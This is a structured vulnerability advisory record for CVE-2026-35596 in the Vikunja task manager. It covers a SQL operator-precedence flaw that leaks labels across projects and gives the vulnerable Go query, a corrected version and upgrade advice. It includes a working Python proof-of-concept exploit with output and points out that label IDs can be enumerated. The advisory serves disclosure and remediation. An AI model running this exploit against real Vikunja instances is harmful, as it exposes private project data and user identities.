{"id":"CVE-2026-35596","aliases":["GHSA-hj5c-mhh2-g7jq","GO-2026-5428"],"title":"Vikunja has Broken Access Control on Label Read via SQL Operator Precedence Bug","summary":"Vikunja has Broken Access Control on Label Read via SQL Operator Precedence Bug","severity":"medium","cvss":4.3,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","vendor":"api","product":"code.vikunja.io/api","ecosystem":"go","affected":["code.vikunja.io/api < 2.3.0"],"patched":["code.vikunja.io/api 2.3.0"],"published":"2026-04-10","updated":"2026-07-21","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-hj5c-mhh2-g7jq","references":[{"url":"https://github.com/go-vikunja/vikunja/security/advisories/GHSA-hj5c-mhh2-g7jq"},{"url":"https://github.com/go-vikunja/vikunja/pull/2578"},{"url":"https://github.com/go-vikunja/vikunja/commit/fc216c38afaa51dd56dde7a97343d2148ecf24c1"},{"url":"https://github.com/go-vikunja/vikunja"},{"url":"https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"}],"tags":["osv","go"],"epss":0.00272,"epssPercentile":0.19749,"ingestedAt":"2026-07-21T19:04:59.342Z","slug":"CVE-2026-35596","body":"## Overview\n\n## Summary\n\nThe `hasAccessToLabel` function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed.\n\n## Details\n\nThe access control query at `pkg/models/label_permissions.go:85-91` uses xorm's query chain in a way that produces SQL without proper grouping:\n\n```go\nhas, err = s.Table(\"labels\").\n    Select(\"label_tasks.*\").\n    Join(\"LEFT\", \"label_tasks\", \"label_tasks.label_id = labels.id\").\n    Where(\"label_tasks.label_id is not null OR labels.created_by_id = ?\", createdByID).\n    Or(cond).\n    And(\"labels.id = ?\", l.ID).\n    Exist(ll)\n```\n\nThe xorm chain `.Where(A OR B).Or(C).And(D)` generates SQL: `WHERE A OR B OR C AND D`. Because SQL AND has higher precedence than OR, this evaluates as `WHERE A OR B OR (C AND D)`. The `labels.id = ?` constraint (D) only binds to the project access condition (C), while `label_tasks.label_id IS NOT NULL` (part of A) remains unconstrained.\n\nAny label that has at least one task association passes the `IS NOT NULL` check, regardless of who is requesting it.\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2.\n\n```python\nimport requests\n\nTARGET = \"http://localhost:3456\"\nAPI = f\"{TARGET}/api/v1\"\n\ndef login(u, p):\n    return requests.post(f\"{API}/login\", json={\"username\": u, \"password\": p}).json()[\"token\"]\n\ndef h(token):\n    return {\"Authorization\": f\"Bearer {token}\", \"Content-Type\": \"application/json\"}\n\na_token = login(\"labeler\", \"Labeler123!\")\nb_token = login(\"snooper\", \"Snooper123!\")\n\n# labeler creates private project, label, task, and assigns label\nproj = requests.put(f\"{API}/projects\", headers=h(a_token),\n                    json={\"title\": \"Private Project\"}).json()\nlabel = requests.put(f\"{API}/labels\", headers=h(a_token),\n                     json={\"title\": \"CONFIDENTIAL-REVENUE\", \"hex_color\": \"ff0000\"}).json()\ntask = requests.put(f\"{API}/projects/{proj['id']}/tasks\", headers=h(a_token),\n                    json={\"title\": \"Q4 revenue data\"}).json()\nrequests.put(f\"{API}/tasks/{task['id']}/labels\", headers=h(a_token),\n             json={\"label_id\": label[\"id\"]})\n\n# snooper reads the label from labeler's private project\nr = requests.get(f\"{API}/labels/{label['id']}\", headers=h(b_token))\nprint(f\"GET /labels/{label['id']}: {r.status_code}\")  # 200 - should be 403\nif r.status_code == 200:\n    data = r.json()\n    print(f\"Title: {data['title']}\")  # CONFIDENTIAL-REVENUE\n    print(f\"Creator: {data['created_by']['username']}\")  # labeler\n```\n\nOutput:\n```\nGET /labels/1: 200\nTitle: CONFIDENTIAL-REVENUE\nCreator: labeler\n```\n\nLabel IDs are sequential integers, making enumeration straightforward.\n\n## Impact\n\nAny authenticated user can read label metadata (titles, descriptions, colors) and creator user information from any project in the instance, provided the labels are attached to at least one task. This constitutes cross-project information disclosure. The creator's username and display name are also exposed.\n\n## Recommended Fix\n\nUse explicit `builder.And`/`builder.Or` grouping:\n\n```go\nhas, err = s.Table(\"labels\").\n    Select(\"label_tasks.*\").\n    Join(\"LEFT\", \"label_tasks\", \"label_tasks.label_id = labels.id\").\n    Where(builder.And(\n        builder.Eq{\"labels.id\": l.ID},\n        builder.Or(\n            builder.And(builder.Expr(\"label_tasks.label_id is not null\"), cond),\n            builder.Eq{\"labels.created_by_id\": createdByID},\n        ),\n    )).\n    Exist(ll)\n```\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*\n\n## Affected packages\n\n- `code.vikunja.io/api < 2.3.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `code.vikunja.io/api 2.3.0`","depth":"sunlit","depthScore":24,"depthScoreParts":{"impact":23.7,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}